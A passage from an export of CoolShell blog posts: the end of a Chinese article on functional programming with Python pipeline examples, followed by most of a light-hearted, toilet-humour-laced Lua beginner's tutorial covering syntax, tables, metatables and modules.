5\ncar_positions = [1, 1, 1]\nwhile time:\n    run_step_of_race()\n    draw()</pre>\n<p>上面的代码，我们可以从主循环开始，我们可以很清楚地看到程序的主干，因为我们把程序的逻辑分成了几个函数，这样一来，我们的代码逻辑也会变得几个小碎片，于是我们读代码时要考虑的上下文就少了很多，阅读代码也会更容易。不像第一个示例，如果没有注释和说明，你还是需要花些时间理解一下。<strong>而把代码逻辑封装成了函数后，我们就相当于给每个相对独立的程序逻辑取了个名字，于是代码成了自解释的</strong>。</p>\n<p>但是，你会发现，封装成函数后，这些函数都会依赖于共享的变量来同步其状态。于是，我们在读代码的过程时，每当我们进入到函数里，一量读到访问了一个外部的变量，我们马上要去查看这个变量的上下文，然后还要在大脑里推演这个变量的状态， 我们才知道程序的真正逻辑。也就是说，<strong>这些函数间必需知道其它函数是怎么修改它们之间的共享变量的，所以，这些函数是有状态的</strong>。</p>\n<p>我们知道，有状态并不是一件很好的事情，无论是对代码重用，还是对代码的并行来说，都是有副作用的。因此，我们要想个方法把这些状态搞掉，于是出现了我们的 Functional Programming 的编程范式。下面，我们来看看函数式的方式应该怎么写？</p>\n<pre class=\"EnlighterJSRAW\">from random import random\n\ndef move_cars(car_positions):\n    return map(lambda x: x + 1 if random() &gt; 0.3 else x,\n               car_positions)\n\ndef output_car(car_position):\n    return '-' * car_position\n\ndef run_step_of_race(state):\n    return {'time': state['time'] - 1,\n            'car_positions': move_cars(state['car_positions'])}\n\ndef draw(state):\n    print ''\n    print '\\n'.join(map(output_car, state['car_positions']))\n\ndef race(state):\n    draw(state)\n    if state['time']:\n        race(run_step_of_race(state))\n\nrace({'time': 5,\n      'car_positions': [1, 1, 1]})</pre>\n<p>上面的代码依然把程序的逻辑分成了函数，不过这些函数都是functional的。因为它们有三个症状：</p>\n<p style=\"padding-left: 30px;\">1）它们之间没有共享的变量。<br/>\n2）函数间通过参数和返回值来传递数据。<br/>\n3）在函数里没有临时变量。</p>\n<p>我们还可以看到，for循环被递归取代了（见race函数）—— 递归是函数式编程中带用到的技术，正如前面所说的，递归的本质就是描述问题是什么。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-10900\" height=\"382\" src=\"../wp-content/uploads/2013/12/forrest-gump.jpg\" width=\"490\"/></p>\n<h4>Pipeline</h4>\n<p>pipeline 管道借鉴于Unix Shell的管道操作——把若干个命令串起来，前面命令的输出成为后面命令的输入，如此完成一个流式计算。（注：管道绝对是一个伟大的发明，他的设哲学就是KISS – 让每个功能就做一件事，并把这件事做到极致，软件或程序的拼装会变得更为简单和直观。这个设计理念影响非常深远，包括今天的Web Service，云计算，以及大数据的流式计算等等）</p>\n<p>比如，我们如下的shell命令：</p>\n<pre class=\"EnlighterJSRAW\">ps auwwx | awk '{print $2}' | sort -n | xargs echo</pre>\n<p>如果我们抽象成函数式的语言，就像下面这样：</p>\n<pre class=\"EnlighterJSRAW\">xargs( echo, sort(n, awk('print $2', ps(auwwx))) )</pre>\n<p>也可以类似下面这个样子：</p>\n<pre class=\"EnlighterJSRAW\">pids = for_each(result, [ps_auwwx, awk_p2, sort_n, xargs_echo])</pre>\n<p>好了，让我们来看看函数式编程的Pipeline怎么玩？</p>\n<p>我们先来看一个如下的程序，这个程序的process()有三个步骤：</p>\n<p style=\"padding-left: 30px;\">1）找出偶数。<br/>\n2）乘以3<br/>\n3）转成字符串返回</p>\n<pre class=\"EnlighterJSRAW\">def process(num):\n    # filter out non-evens\n    if num % 2 != 0:\n        return\n    num = num * 3\n    num = 'The Number: %s' % num\n    return num\n\nnums = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n\nfor num in nums:\n    print process(num)\n\n# 输出：\n# None\n# The Number: 6\n# None\n# The Number: 12\n# None\n# The Number: 18\n# None\n# The Number: 24\n# None\n# The Number: 30</pre>\n<p>我们可以看到，输出的并不够完美，另外，代码阅读上如果没有注释，你也会比较晕。下面，我们来看看函数式的pipeline（第一种方式）应该怎么写？</p>\n<pre class=\"EnlighterJSRAW\">def even_filter(nums):\n    for num in nums:\n        if num % 2 == 0:\n            yield num\ndef multiply_by_three(nums):\n    for num in nums:\n        yield num * 3\ndef convert_to_string(nums):\n    for num in nums:\n        yield 'The Number: %s' % num\n\nnums = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\npipeline = convert_to_string(multiply_by_three(even_filter(nums)))\nfor num in pipeline:\n    print num\n# 输出：\n# The Number: 6\n# The Number: 12\n# The Number: 18\n# The Number: 24\n# The Number: 30</pre>\n<p>我们动用了Python的关键字 yield，这个关键字主要是返回一个Generator，yield 是一个类似 return 的关键字，只是这个函数返回的是个Generator-生成器。所谓生成器的意思是，yield返回的是一个可迭代的对象，并没有真正的执行函数。也就是说，只有其返回的迭代对象被真正迭代时，yield函数才会正真的运行，运行到yield语句时就会停住，然后等下一次的迭代。（这个是个比较诡异的关键字）这就是lazy evluation。</p>\n<p>好了，根据前面的原则——“<strong>使用Map &amp; Reduce，不要使用循环</strong>”，那我们用比较纯朴的Map &amp; Reduce吧。</p>\n<pre class=\"EnlighterJSRAW\">def even_filter(nums):\n    return filter(lambda x: x%2==0, nums)\n\ndef multiply_by_three(nums):\n    return map(lambda x: x*3, nums)\n\ndef convert_to_string(nums):\n    return map(lambda x: 'The Number: %s' % x,  nums)\n\nnums = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\npipeline = convert_to_string(\n               multiply_by_three(\n                   even_filter(nums)\n               )\n            )\nfor num in pipeline:\n    print num</pre>\n<p>但是他们的代码需要嵌套使用函数，这个有点不爽，如果我们能像下面这个样子就好了（第二种方式）。</p>\n<pre class=\"EnlighterJSRAW\">pipeline_func(nums, [even_filter,\n                     multiply_by_three,\n                     convert_to_string])</pre>\n<p>那么，pipeline_func 实现如下：</p>\n<pre class=\"EnlighterJSRAW\">def pipeline_func(data, fns):\n    return reduce(lambda a, x: x(a),\n                  fns,\n                  data)</pre>\n<p>好了，在读过这么多的程序后，你可以回头看一下这篇文章的开头对函数式编程的描述，可能你就更有感觉了。</p>\n<p>最后，<span style=\"color: #cc0000;\"><strong>我希望这篇浅显易懂的文章能让你感受到函数式编程的思想，就像OO编程，泛型编程，过程式编程一样，我们不用太纠结是不是我们的程序就是OO，就是functional的，我们重要的品味其中的味道</strong></span>。</p>\n<h4>参考</h4>\n<ul>\n<li>Wikipedia: <a href=\"http://en.wikipedia.org/wiki/Functional_programming\" rel=\"noopener noreferrer\" target=\"_blank\">Functional Programming</a></li>\n<li><a href=\"http://stackoverflow.com/questions/5226055/truly-understanding-the-difference-between-procedural-and-functional\" rel=\"noopener noreferrer\" target=\"_blank\">truly understanding the difference between procedural and functional</a></li>\n<li><a href=\"http://maryrosecook.com/post/a-practical-introduction-to-functional-programming\" rel=\"bookmark noopener noreferrer\" style=\"line-height: 1.5em;\" target=\"_blank\">A practical introduction to functional programming</a></li>\n<li><a href=\"http://stackoverflow.com/q/23277/211232\" rel=\"noopener noreferrer\" target=\"_blank\">What is the difference between procedural programming and functional programming?</a></li>\n<li><a href=\"http://stackoverflow.com/q/3249863/211232\" rel=\"noopener noreferrer\" target=\"_blank\">Can someone give me examples of functional programming vs imperative/procedural programming?</a></li>\n<li><a href=\"http://stackoverflow.com/q/552336/211232\" rel=\"noopener noreferrer\" target=\"_blank\">OOP vs Functional Programming vs Procedural</a></li>\n<li>Python – <a href=\"http://docs.python.org/2/howto/functional.html#\" rel=\"noopener noreferrer\" target=\"_blank\">Functional Programming HOWTO</a></li>\n</ul>\n<p><strong>补充</strong>：评论中<a href=\"http://weibo.com/redraiment\" title=\"redraiment\">redraiment</a>的<a href=\"https://coolshell.cn/articles/10822.html#comment-1111518\">这个评论</a>大家也可以读一读。</p>\n<p>感谢谢网友S142857 提供的shell风格的python pipeline：</p>\n<pre class=\"EnlighterJSRAW\">class Pipe(object):\n    def __init__(self, func):\n        self.func = func\n\n    def __ror__(self, other):\n        def generator():\n            for obj in other:\n                if obj is not None:\n                    yield self.func(obj)\n        return generator()\n\n@Pipe\ndef even_filter(num):\n    return num if num % 2 == 0 else None\n\n@Pipe\ndef multiply_by_three(num):\n    return num*3\n\n@Pipe\ndef convert_to_string(num):\n    return 'The Number: %s' % num\n\n@Pipe\ndef echo(item):\n    print item\n    return item\n\ndef force(sqs):\n    for item in sqs: pass\n\nnums = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n\nforce(nums | even_filter | multiply_by_three | convert_to_string | echo)</pre>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11265.html\"><img alt=\"Python修饰器的函数式编程\" height=\"150\" src=\"../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11265.html\">Python修饰器的函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21164.html\"><img alt=\"Go编程模式：Map-Reduce\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17929.html\"><img alt=\"Go编程模式：修饰器\" height=\"150\" src=\"../wp-content/uploads/2017/06/go-hardhat-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10169.html\"><img alt=\"类型的本质和函数式实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-12-3 Lua简明教程.html",
    "content": "<html><body><p><img alt=\"The Programming Language Lua\" class=\"alignright\" src=\"http://www.lua.org/images/lua.gif\" title=\"welcome!\"/>这几天系统地学习了一下<a href=\"http://www.lua.org\" target=\"_blank\">Lua这个脚本语言</a>，Lua脚本是一个很轻量级的脚本，也是号称性能最高的脚本，用在很多需要性能的地方，比如：游戏脚本，nginx，wireshark的脚本，当你把他的源码下下来编译后，你会发现解释器居然不到200k，这是多么地变态啊（/bin/sh都要1M，MacOS平台），而且能和C语言非常好的互动。我很好奇得浏览了一下Lua解释器的源码，这可能是我看过最干净的C的源码了。</p>\n<p>我不想写一篇大而全的语言手册，一方面是因为已经有了（见本文后面的链接），重要的原因是，因为大篇幅的文章会挫败人的学习热情，我始终觉得好的文章读起来就像拉大便一样，能一口气很流畅地搞完，才会让人爽（这也是我为什么不想写书的原因）。所以，这必然又是一篇“入厕文章”，还是那句话，我希望本文能够让大家利用上下班，上厕所大便的时间学习一个技术。呵呵。</p>\n<p>相信你现在已经在厕所里脱掉裤子露出屁股已经准备好大便了，那就让我们畅快地排泄吧……</p>\n<h4>运行</h4>\n<p>首先，我们需要知道，Lua是类C的，所以，他是大小写字符敏感的。</p>\n<p>下面是Lua的Hello World。注意：Lua脚本的语句的分号是可选的，这个和<a href=\"https://coolshell.cn/articles/8460.html\" target=\"_blank\" title=\"Go 语言简介（上）— 语法\">GO语言很类似</a>。</p>\n<p><code class=\"EnlighterJSRAW\">print(\"Hello World\")</code></p>\n<p>你可以像python一样，在命令行上运行lua命令后进入lua的shell中执行语句。</p>\n<pre class=\"EnlighterJSRAW\">chenhao-air:lua chenhao$ lua\nLua 5.2.2  Copyright (C) 1994-2013 Lua.org, PUC-Rio\n&gt; print(\"Hello, World\")\nHello, World\n&gt; </pre>\n<p><span id=\"more-10739\"></span></p>\n<p>也可以把脚本存成一个文件，用如下命令行来运行。</p>\n<p><code class=\"EnlighterJSRAW\">&gt;lua  file.lua</code></p>\n<p>或是像shell一样运行：</p>\n<pre class=\"EnlighterJSRAW\">chenhao-air:lua chenhao$ cat hello.lua\n#!/usr/local/bin/lua\nprint(\"Hello, World\")\nchenhao-air:lua chenhao$ chmod +x hello.lua\nchenhao-air:test chenhao$ ./hello.lua\nHello, World</pre>\n<h4>语法</h4>\n<h5>注释</h5>\n<p><code class=\"EnlighterJSRAW\">-- 两个减号是行注释</code></p>\n<p> </p>\n<pre class=\"EnlighterJSRAW\">--[[\n 这是块注释\n 这是块注释\n --]]</pre>\n<h5>变量</h5>\n<p>Lua的数字只有double型，64bits，你不必担心Lua处理浮点数会慢（除非大于100,000,000,000,000），或是会有精度问题。</p>\n<p>你可以以如下的方式表示数字，0x开头的16进制和C是很像的。</p>\n<pre class=\"EnlighterJSRAW\">\nnum = 1024\nnum = 3.0\nnum = 3.1416\nnum = 314.16e-2\nnum = 0.31416E1\nnum = 0xff\nnum = 0x56\n</pre>\n<p>字符串你可以用单引号，也可以用双引号，还支持C类型的转义，比如： ‘\\a’ （响铃）， ‘\\b’ （退格）， ‘\\f’ （表单）， ‘\\n’ （换行）， ‘\\r’ （回车）， ‘\\t’ （横向制表）， ‘\\v’ （纵向制表）， ‘\\\\’ （反斜杠）， ‘\\”‘ （双引号）， 以及 ‘\\” （单引号)</p>\n<p>下面的四种方式定义了完全相同的字符串（其中的两个中括号可以用于定义有换行的字符串）</p>\n<pre class=\"EnlighterJSRAW\">\na = 'alo\\n123\"'\na = \"alo\\n123\\\"\"\na = '\\97lo\\10\\04923\"'\na = [[alo\n123\"]]</pre>\n<p>C语言中的NULL在Lua中是nil，比如你访问一个没有声明过的变量，就是nil，比如下面的v的值就是nil</p>\n<p><code class=\"EnlighterJSRAW\">v = UndefinedVariable</code></p>\n<p>布尔类型只有nil和false是 false，数字0啊，‘’空字符串（’\\0’）都是true！</p>\n<p>另外，需要注意的是：lua中的变量如果没有特殊说明，全是全局变量，那怕是语句块或是函数里。变量前加local关键字的是局部变量。</p>\n<pre class=\"EnlighterJSRAW\">theGlobalVar = 50\nlocal theLocalVar = \"local variable\"</pre>\n<h4>控制语句</h4>\n<p>不多说了，直接看代码吧（注意：Lua没有++或是+=这样的操作）</p>\n<h5>while循环</h5>\n<pre class=\"EnlighterJSRAW\">sum = 0\nnum = 1\nwhile num &lt;= 100 do\n    sum = sum + num\n    num = num + 1\nend\nprint(\"sum =\",sum)</pre>\n<h5>if-else分支</h5>\n<pre class=\"EnlighterJSRAW\">if age == 40 and sex ==\"Male\" then\n    print(\"男人四十一枝花\")\nelseif age &gt; 60 and sex ~=\"Female\" then\n    print(\"old man without country!\")\nelseif age &lt; 20 then\n    io.write(\"too young, too naive!\\n\")\nelse\n    local age = io.read()\n    print(\"Your age is \"..age)\nend</pre>\n<p>上面的语句不但展示了if-else语句，也展示了<br/>\n1）“～=”是不等于，而不是!=<br/>\n2）io库的分别从stdin和stdout读写的read和write函数<br/>\n3）字符串的拼接操作符“..”</p>\n<p>另外，条件表达式中的与或非为分是：and, or, not关键字。</p>\n<h5>for 循环</h5>\n<pre class=\"EnlighterJSRAW\">sum = 0\nfor i = 1, 100 do\n    sum = sum + i\nend</pre>\n<p> </p>\n<pre class=\"EnlighterJSRAW\">sum = 0\nfor i = 1, 100, 2 do\n    sum = sum + i\nend</pre>\n<p> </p>\n<pre class=\"EnlighterJSRAW\">sum = 0\nfor i = 100, 1, -2 do\n    sum = sum + i\nend</pre>\n<h5>until循环</h5>\n<pre class=\"EnlighterJSRAW\">sum = 2\nrepeat\n   sum = sum ^ 2 --幂操作\n   print(sum)\nuntil sum &gt;1000</pre>\n<h4>函数</h4>\n<p>Lua的函数和Javascript的很像</p>\n<h5>递归</h5>\n<pre class=\"EnlighterJSRAW\">function fib(n)\n  if n &lt; 2 then return 1 end\n  return fib(n - 2) + fib(n - 1)\nend</pre>\n<h5>闭包</h5>\n<p>同样，Javascript附体！</p>\n<pre class=\"EnlighterJSRAW\">function newCounter()\n    local i = 0\n    return function()     -- anonymous function\n       i = i + 1\n        return i\n    end\nend\n\nc1 = newCounter()\nprint(c1())  --&gt; 1\nprint(c1())  --&gt; 2</pre>\n<p> </p>\n<pre class=\"EnlighterJSRAW\">function myPower(x)\n    return function(y) return y^x end\nend\n\npower2 = myPower(2)\npower3 = myPower(3)\n\nprint(power2(4)) --4的2次方\nprint(power3(5)) --5的3次方</pre>\n<h5>函数的返回值</h5>\n<p>和<a href=\"https://coolshell.cn/articles/8460.html\" target=\"_blank\" title=\"Go 语言简介（上）— 语法\">Go语言一样</a>，可以一条语句上赋多个值，如：</p>\n<p><code class=\"EnlighterJSRAW\">name, age, bGay = \"haoel\", 37, false, \"haoel@hotmail.com\"</code></p>\n<p>上面的代码中，因为只有3个变量，所以第四个值被丢弃。</p>\n<p>函数也可以返回多个值：</p>\n<pre class=\"EnlighterJSRAW\">function getUserInfo(id)\n    print(id)\n    return \"haoel\", 37, \"haoel@hotmail.com\", \"https://coolshell.cn\"\nend\n\nname, age, email, website, bGay = getUserInfo()\n</pre>\n<p>注意：上面的示例中，因为没有传id，所以函数中的id输出为nil，因为没有返回bGay，所以bGay也是nil。</p>\n<h5>局部函数</h5>\n<p>函数前面加上local就是局部函数，其实，Lua中的函数和Javascript中的一个德行。</p>\n<p>比如：下面的两个函数是一样的：</p>\n<pre class=\"EnlighterJSRAW\">function foo(x) return x^2 end\nfoo = function(x) return x^2 end</pre>\n<h4>Table</h4>\n<p>所谓Table其实就是一个Key Value的数据结构，它很像Javascript中的Object，或是PHP中的数组，在别的语言里叫Dict或Map，Table长成这个样子：</p>\n<p><code class=\"EnlighterJSRAW\">haoel = {name=\"ChenHao\", age=37, handsome=True}</code></p>\n<p>下面是table的CRUD操作：</p>\n<pre class=\"EnlighterJSRAW\">haoel.website=\"https://coolshell.cn/\"\nlocal age = haoel.age\nhaoel.handsome = false\nhaoel.name=nil</pre>\n<p>上面看上去像C/C++中的结构体，但是name,age, handsome, website都是key。你还可以像下面这样写义Table：</p>\n<p><code class=\"EnlighterJSRAW\">t = {[20]=100, ['name']=\"ChenHao\", [3.14]=\"PI\"} </code></p>\n<p>这样就更像Key Value了。于是你可以这样访问：t[20]，t[“name”], t[3.14]。</p>\n<p>我们再来看看数组：</p>\n<p><code class=\"EnlighterJSRAW\">arr = {10,20,30,40,50}</code></p>\n<p>这样看上去就像数组了。但其实其等价于：</p>\n<p><code class=\"EnlighterJSRAW\">arr = {[1]=10, [2]=20, [3]=30, [4]=40, [5]=50}</code></p>\n<p>所以，你也可以定义成不同的类型的数组，比如：</p>\n<p><code class=\"EnlighterJSRAW\">arr = {\"string\", 100, \"haoel\", function() print(\"coolshell.cn\") end}</code></p>\n<p>注：其中的函数可以这样调用：arr[4]()。</p>\n<p>我们可以看到Lua的下标不是从0开始的，是从1开始的。</p>\n<pre class=\"EnlighterJSRAW\">for i=1, #arr do\n    print(arr[i])\nend</pre>\n<p>注：上面的程序中：#arr的意思就是arr的长度。</p>\n<p>注：前面说过，Lua中的变量，如果没有local关键字，全都是全局变量，Lua也是用Table来管理全局变量的，Lua把这些全局变量放在了一个叫“_G”的Table里。</p>\n<p>我们可以用如下的方式来访问一个全局变量（假设我们这个全局变量名叫globalVar）：</p>\n<pre class=\"EnlighterJSRAW\">_G.globalVar\n_G[\"globalVar\"]</pre>\n<p>我们可以通过下面的方式来遍历一个Table。</p>\n<pre class=\"EnlighterJSRAW\">for k, v in pairs(t) do\n    print(k, v)\nend</pre>\n<h4>MetaTable 和 MetaMethod</h4>\n<p>MetaTable和MetaMethod是Lua中的重要的语法，MetaTable主要是用来做一些类似于C++重载操作符式的功能。</p>\n<p>比如，我们有两个分数：</p>\n<pre class=\"EnlighterJSRAW\">fraction_a = {numerator=2, denominator=3}\nfraction_b = {numerator=4, denominator=7}</pre>\n<p>我们想实现分数间的相加：2/3 + 4/7，我们如果要执行： fraction_a + fraction_b，会报错的。</p>\n<p>所以，我们可以动用MetaTable，如下所示：</p>\n<pre class=\"EnlighterJSRAW\">fraction_op={}\nfunction fraction_op.__add(f1, f2)\n    ret = {}\n    ret.numerator = f1.numerator * f2.denominator + f2.numerator * f1.denominator\n    ret.denominator = f1.denominator * f2.denominator\n    return ret\nend\n</pre>\n<p>为之前定义的两个table设置MetaTable：（其中的setmetatble是库函数）</p>\n<pre class=\"EnlighterJSRAW\">setmetatable(fraction_a, fraction_op)\nsetmetatable(fraction_b, fraction_op)</pre>\n<p>于是你就可以这样干了：（调用的是fraction_op.__add()函数）</p>\n<p><code class=\"EnlighterJSRAW\">fraction_s = fraction_a + fraction_b</code></p>\n<p>至于__add这是MetaMethod，这是Lua内建约定的，其它的还有如下的MetaMethod：</p>\n<pre>__add(a, b)                     对应表达式 a + b\n__sub(a, b)                     对应表达式 a - b\n__mul(a, b)                     对应表达式 a * b\n__div(a, b)                     对应表达式 a / b\n__mod(a, b)                     对应表达式 a % b\n__pow(a, b)                     对应表达式 a ^ b\n__unm(a)                        对应表达式 -a\n__concat(a, b)                  对应表达式 a .. b\n__len(a)                        对应表达式 #a\n__eq(a, b)                      对应表达式 a == b\n__lt(a, b)                      对应表达式 a &lt; b\n__le(a, b)                      对应表达式 a &lt;= b\n__index(a, b)                   对应表达式 a.b\n__newindex(a, b, c)             对应表达式 a.b = c\n__call(a, ...)                  对应表达式 a(...)</pre>\n<h4>“面向对象”</h4>\n<p>上面我们看到有__index这个重载，这个东西主要是重载了find key的操作。这操作可以让Lua变得有点面向对象的感觉，让其有点像Javascript的prototype。（关于Javascrip的面向对象，你可以参看我之前写的<a href=\"https://coolshell.cn/articles/6441.html\" target=\"_blank\" title=\"Javascript 面向对象编程\">Javascript的面向对象</a>）</p>\n<p>所谓__index，说得明确一点，如果我们有两个对象a和b，我们想让b作为a的prototype只需要：</p>\n<p><code class=\"EnlighterJSRAW\">setmetatable(a, {__index = b})</code></p>\n<p>例如下面的示例：你可以用一个Window_Prototype的模板加上__index的MetaMethod来创建另一个实例：</p>\n<pre class=\"EnlighterJSRAW\">Window_Prototype = {x=0, y=0, width=100, height=100}\nMyWin = {title=\"Hello\"}\nsetmetatable(MyWin, {__index = Window_Prototype})</pre>\n<p>于是：MyWin中就可以访问x, y, width, height的东东了。（注：当表要索引一个值时如table[key], Lua会首先在table本身中查找key的值, 如果没有并且这个table存在一个带有__index属性的Metatable, 则Lua会按照__index所定义的函数逻辑查找）</p>\n<p>有了以上的基础，我们可以来说说所谓的Lua的面向对象。</p>\n<pre class=\"EnlighterJSRAW\">Person={}\n\nfunction Person:new(p)\n    local obj = p\n    if (obj == nil) then\n        obj = {name=\"ChenHao\", age=37, handsome=true}\n    end\n    self.__index = self\n    return setmetatable(obj, self)\nend\n\nfunction Person:toString()\n    return self.name ..\" : \".. self.age ..\" : \".. (self.handsome and \"handsome\" or \"ugly\")\nend\n</pre>\n<p>上面我们可以看到有一个new方法和一个toString的方法。其中：</p>\n<p>1）self 就是 Person，Person:new(p)，相当于Person.new(self, p)<br/>\n2）new方法的self.__index = self 的意图是怕self被扩展后改写，所以，让其保持原样<br/>\n3）setmetatable这个函数返回的是第一个参数的值。</p>\n<p>于是：我们可以这样调用：</p>\n<pre class=\"EnlighterJSRAW\">me = Person:new()\nprint(me:toString())\n\nkf = Person:new{name=\"King's fucking\", age=70, handsome=false}\nprint(kf:toString())\n</pre>\n<p>继承如下，我就不多说了，Lua和Javascript很相似，都是在Prototype的实例上改过来改过去的。</p>\n<pre class=\"EnlighterJSRAW\">Student = Person:new()\n\nfunction Student:new()\n    newObj = {year = 2013}\n    self.__index = self\n    return setmetatable(newObj, self)\nend\n\nfunction Student:toString()\n    return \"Student : \".. self.year..\" : \" .. self.name\nend</pre>\n<h4>模块</h4>\n<p>我们可以直接使用require(“model_name”)来载入别的lua文件，文件的后缀是.lua。载入的时候就直接执行那个文件了。比如：</p>\n<p>我们有一个hello.lua的文件：</p>\n<p><code class=\"EnlighterJSRAW\">print(\"Hello, World!\")</code></p>\n<p>如果我们：require(“hello”)，那么就直接输出Hello, World！了。</p>\n<p>注意：<br/>\n1）require函数，载入同样的lua文件时，只有第一次的时候会去执行，后面的相同的都不执行了。<br/>\n2）如果你要让每一次文件都会执行的话，你可以使用dofile(“hello”)函数<br/>\n3）如果你要玩载入后不执行，等你需要的时候执行时，你可以使用 loadfile()函数，如下所示：</p>\n<pre class=\"EnlighterJSRAW\">local hello = loadfile(\"hello\")\n... ...\n... ...\nhello()</pre>\n<p>loadfile(“hello”)后，文件并不执行，我们把文件赋给一个变量hello，当hello()时，才真的执行。（我们多希望JavaScript也有这样的功能（参看《<a href=\"https://coolshell.cn/articles/9749.html\" target=\"_blank\" title=\"Javascript 装载和执行\">Javascript 装载和执行</a>》））</p>\n<p>当然，更为标准的玩法如下所示。</p>\n<p>假设我们有一个文件叫mymod.lua，内容如下：</p>\n<pre class=\"EnlighterJSRAW\">local HaosModel = {}\n\nlocal function getname()\n    return \"Hao Chen\"\nend\n\nfunction HaosModel.Greeting()\n    print(\"Hello, My name is \"..getname())\nend\n\nreturn HaosModel</pre>\n<p>于是我们可以这样使用：</p>\n<pre class=\"EnlighterJSRAW\">local hao_model = require(\"mymod\")\nhao_model.Greeting()</pre>\n<p>其实，require干的事就如下：（所以你知道为什么我们的模块文件要写成那样了）</p>\n<pre class=\"EnlighterJSRAW\">local hao_model = (function ()\n  --mymod.lua文件的内容--\nend)()</pre>\n<h4>参考</h4>\n<p>我估计你差不多到擦屁股的时间了，所以，如果你还比较喜欢Lua的话，下面是几个在线文章你可以继续学习之：</p>\n<ul>\n<li><a href=\"http://manual.luaer.cn/\" rel=\"nofollow\">manual.luaer.cn</a> lua在线手册</li>\n<li><a href=\"http://book.luaer.cn/\" rel=\"nofollow\">book.luaer.cn</a> lua在线lua学习教程</li>\n<li><a href=\"http://www.codingnow.com/2000/download/lua_manual.html\" rel=\"nofollow\">lua参考手册</a>Lua参考手册的中文翻译（云风翻译版本）</li>\n</ul>\n<p>关于Lua的标库，你可以看看官方文档：<a href=\"http://lua-users.org/wiki/StringLibraryTutorial\" target=\"_blank\">string</a>，  <a href=\"http://lua-users.org/wiki/TableLibraryTutorial\" target=\"_blank\">table</a>， <a href=\"http://lua-users.org/wiki/MathLibraryTutorial\" target=\"_blank\">math</a>， <a href=\"http://lua-users.org/wiki/IoLibraryTutorial\" target=\"_blank\">io</a>， <a href=\"http://lua-users.org/wiki/OsLibraryTutorial\" target=\"_blank\">os</a>。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" 